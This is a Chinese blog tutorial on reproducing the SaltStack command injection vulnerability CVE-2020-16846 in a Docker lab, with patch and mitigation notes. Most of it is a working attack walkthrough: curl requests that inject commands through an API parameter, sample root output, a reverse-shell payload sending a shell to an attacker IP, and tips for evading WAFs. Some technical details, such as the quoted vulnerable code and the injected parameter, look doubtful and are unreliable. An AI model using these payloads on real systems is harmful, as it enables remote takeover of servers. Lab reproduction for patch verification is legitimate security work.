如何进行SaltStack命令注入漏洞复现

发布时间:2021-12-29 17:37:27 作者:柒染
来源:亿速云 阅读:135
# 如何进行SaltStack命令注入漏洞复现

## 前言

SaltStack是一款流行的开源配置管理和远程执行工具,广泛应用于自动化运维场景。然而,历史上SaltStack曾多次曝出高危漏洞,其中**命令注入漏洞**尤为危险,可能直接导致攻击者在目标服务器上执行任意命令。本文将详细讲解CVE-2020-16846漏洞的复现过程,帮助安全研究人员理解漏洞原理并验证修复方案。

---

## 漏洞背景

### 漏洞信息
- **CVE编号**: CVE-2020-16846  
- **影响版本**: SaltStack 3002及之前版本  
- **漏洞类型**: 命令注入  
- **CVSS评分**: 9.8 (Critical)  

### 漏洞原理
SaltStack的`salt-api`组件在使用`ssh_client`模块时,未对用户输入的`host`参数进行严格过滤,导致攻击者可通过构造恶意请求注入系统命令。

---

## 环境搭建

### 实验环境要求
- 虚拟机或云服务器(推荐Ubuntu 20.04)
- Docker环境(用于快速搭建漏洞环境)

### 使用Docker部署漏洞环境
```bash
# 拉取漏洞镜像
docker pull vulnerables/cve-2020-16846

# 启动容器(映射SaltStack API端口)
docker run -d -p 8000:8000 --name saltstack-vuln vulnerables/cve-2020-16846

验证环境

访问http://<目标IP>:8000应看到SaltStack API的欢迎页面。


漏洞复现步骤

步骤1:获取有效Token

SaltStack API需要认证,首先获取访问令牌:

curl -sSk http://localhost:8000/login \
    -H 'Accept: application/x-yaml' \
    -d username=salt \
    -d password=salt \
    -d eauth=pam

响应示例:

return:
  - eauth: pam
    expire: 1625090000.123456
    perms:
      - .*
    start: 1625086400.123456
    token: abcdef1234567890
    user: salt

步骤2:构造恶意请求

利用ssh_client模块的host参数注入命令:

curl -sSk http://localhost:8000 \
    -H 'Accept: application/json' \
    -H 'X-Auth-Token: abcdef1234567890' \
    -d client=ssh \
    -d tgt='*' \
    -d fun='test.ping' \
    -d ssh_host='localhost";id;"'

关键参数说明

参数 值示例 作用
client ssh 指定SSH客户端模块
tgt * 目标主机(通配符)
fun test.ping 执行的Salt函数
ssh_host localhost";id;" 注入命令的关键参数

步骤3:观察命令执行结果

成功利用时,响应中将包含id命令的执行结果:

{
  "return": [
    {
      "localhost": {
        "ret": "uid=0(root) gid=0(root) groups=0(root)\n",
        "retcode": 0
      }
    }
  ]
}

漏洞分析

代码层面问题

漏洞位于salt/client/ssh/client.py中:

def _prep_ssh(
    self,
    host,  # 未过滤的用户输入
    ...
):
    cmd = 'ssh {0} {1}@{2} {3}'.format(
        opts,
        self._ssh_user(),
        host,  # 直接拼接进命令
        remote_cmd
    )
    return shlex.split(cmd)

攻击链分析

  1. 用户控制ssh_host参数传入恶意字符串
  2. 参数未经处理直接拼接进SSH命令
  3. 系统执行包含注入命令的字符串

修复方案

官方补丁

SaltStack在3002.1版本中: 1. 使用shlex.quote()对host参数进行转义 2. 增加输入白名单验证

临时缓解措施


扩展实验

反弹Shell利用

构造更危险的Payload获取交互式Shell:

ssh_host='localhost";bash -i >& /dev/tcp/攻击者IP/4444 0>&1;"'

防御绕过尝试

测试WAF绕过技术: - 使用Base64编码命令 - 利用环境变量拼接命令


总结

通过本次复现,我们了解到: 1. SaltStack命令注入漏洞的高危性 2. 参数过滤不严导致的RCE风险 3. 自动化工具安全开发的重要性

建议运维人员: ✅ 及时升级到最新版本
✅ 定期进行安全审计
✅ 最小化API权限分配


参考资源

  1. CVE-2020-16846官方公告
  2. SaltStack安全最佳实践文档
  3. OWASP命令注入防护指南

”`

注:实际操作时请确保在授权环境下进行测试,避免违反法律法规。本文仅用于教育目的。

推荐阅读:
  1. ThinkPHP远程命令执行漏洞原理及复现
  2. 如何进行Drupal SQL注入漏洞CVE-2014-3704的复现

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

saltstack

上一篇:SAP ABAP应用服务器的HTTP响应状态码怎么解决

下一篇:怎么把某个网站的SSL链导入到ABAP Netweaver系统里

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》